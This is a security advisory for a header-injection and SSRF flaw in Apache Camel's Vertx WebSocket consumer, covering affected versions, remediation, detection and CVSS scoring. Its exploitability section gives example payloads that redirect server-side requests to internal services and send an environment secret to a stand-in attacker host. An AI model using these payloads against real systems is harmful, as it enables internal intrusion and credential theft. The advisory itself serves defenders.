CVE-2026-46726: Apache Camel Vertx WebSocket Header Injection & SSRF

Technical summary

The VertxWebsocketConsumer.populateExchangeHeaders() method maps inbound WebSocket query and path parameters directly into the Camel Exchange header map without invoking a HeaderFilterStrategy. This omission permits injection of reserved Camel namespace headers (e.g., CamelHttpUri / Exchange.HTTP_URI) from untrusted client input. When such an Exchange is passed to a downstream HTTP producer, the injected CamelHttpUri value overrides the intended request target, enabling server-side request forgery (SSRF). Additionally, the HTTP producer resolves Camel property placeholders (environment variables, application properties, vault references) within the URI string before dispatching the request, causing disclosure of secrets embedded in placeholder expressions to the attacker's chosen destination. Affected versions: 4.0.0–4.14.7, 4.15.0–4.18.2, and 4.19.0–4.20.x. Remediation is available in 4.14.8, 4.18.3, and 4.21.0.

Business impact

Organizations running Camel routes that expose WebSocket endpoints—particularly without authentication—face risk of unauthorized access to internal services, cloud metadata endpoints, and stored secrets. A successful attack can exfiltrate environment configuration, database credentials, API keys, and other vault-stored secrets to attacker-controlled servers. The severity is heightened if the Camel application bridges WebSocket consumers directly to HTTP producers targeting sensitive internal systems (databases, admin consoles, cloud credential services). Downstream impacts include lateral movement within the network, privilege escalation via stolen credentials, and compliance violations from unauthorized data access.

Affected systems

Apache Camel versions 4.0.0 through 4.20.x are affected across all three active streams: 4.0.0–4.14.7 (pre-4.14.8), 4.15.0–4.18.2 (pre-4.18.3), and 4.19.0–4.20.x (pre-4.21.0). The vulnerability is active only in routes using the camel-vertx-websocket component as a consumer. Impact depends on deployment topology: routes that directly bridge WebSocket consumers to HTTP producers are most at risk; routes that apply additional header filtering or require WebSocket authentication present lower exposure.

Exploitability

Exploitation is straightforward and requires no special tooling. An attacker crafts a WebSocket connection URL with malicious query parameters matching reserved Camel header names (e.g., '?CamelHttpUri=http://internal-service:8080/admin'). If the WebSocket endpoint lacks authentication and the downstream route includes an HTTP producer, the injected header redirects the server-side request. Property placeholder injection (e.g., '?CamelHttpUri=http://attacker.com/?secret=${env:DB_PASSWORD}') extracts secrets to attacker-controlled infrastructure. The attack surface is maximized when WebSocket endpoints are internet-facing and routes lack input validation or header filtering.

Remediation

Upgrade to patched versions: 4.21.0 (main release), 4.18.3 (4.18.x LTS), or 4.14.8 (4.14.x LTS). The fix implements a HeaderFilterStrategy that case-insensitively filters Camel namespace headers (Camel* and camel*) at the point of inbound header population, preventing externally-supplied control headers from entering the Exchange. For deployments unable to upgrade immediately, apply compensating controls: (1) add explicit header-removal steps at the route start using removeHeaders('Camel*') and removeHeaders('camel*'); (2) require authentication on the WebSocket endpoint; (3) avoid direct bridging of WebSocket consumers to HTTP producers whose target URIs can be influenced by message headers; (4) implement network-level isolation between Camel applications and sensitive internal services.

Patch guidance

Verify your Apache Camel version using dependency management tools (Maven, Gradle, etc.) or runtime introspection. If running 4.14.x, upgrade to 4.14.8 or later. If running 4.15.x–4.18.x, upgrade to 4.18.3 or later. If running 4.19.0 or newer, upgrade to 4.21.0 or later. After patching, validate that the HeaderFilterStrategy is active by reviewing route logs or enabling debug-level logging on the VertxWebsocketConsumer. Test downstream HTTP producer behavior to confirm that injected headers no longer influence target URIs. Review and remove any temporary header-filtering workarounds once patched versions are confirmed stable in your environment.

Detection guidance

Monitor WebSocket endpoint logs for unusual query or path parameters containing reserved Camel header names (CamelHttpUri, CamelHttpMethod, CamelHttpQuery, etc.). Watch for unexpected HTTP requests originating from Camel application instances to internal services, metadata endpoints (169.254.169.254), or external attacker-controlled domains. Enable HTTP producer request logging and inspect target URIs for values that do not match hardcoded route configurations—especially URIs containing injected placeholders or redirects. Use distributed tracing (Jaeger, Zipkin) to correlate WebSocket inbound messages with abnormal downstream HTTP requests. Alert on any Camel Exchange headers that originate from client input rather than internal route logic. Check application and system logs for evidence of secret material (credentials, API keys) being transmitted to unexpected destinations.

Why prioritize this

This vulnerability merits immediate prioritization for any organization running Camel with exposed WebSocket consumers. The combination of (1) unauthenticated remote exploitability, (2) direct access to sensitive internal systems via SSRF, and (3) automatic exfiltration of secrets through property placeholder resolution creates a critical attack path. The CVSS 7.5 (HIGH) score reflects the high likelihood of exploitation and significant confidentiality impact. Mitigation options exist for organizations unable to patch immediately, but only compensating controls provide protection; the underlying code flaw remains until patched versions are deployed.

Risk score, explained

The CVSS v3.1 score of 7.5 (HIGH / AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) reflects: Network-accessible attack vector (AV:N); no special conditions required (AC:L); no authentication needed (PR:N); no user interaction required (UI:N); impact confined to the vulnerable component (S:U); high confidentiality impact from secret exfiltration (C:H); no integrity or availability impact assessed in the base vector. The score does not account for business-context factors such as internal network access implications (SSRF may have greater downstream impact) or the likelihood of secret-containing placeholders in URIs. Organizations with WebSocket endpoints accessible to the internet and routes that expose internal services should treat this as a critical issue despite the base score.

Frequently asked questions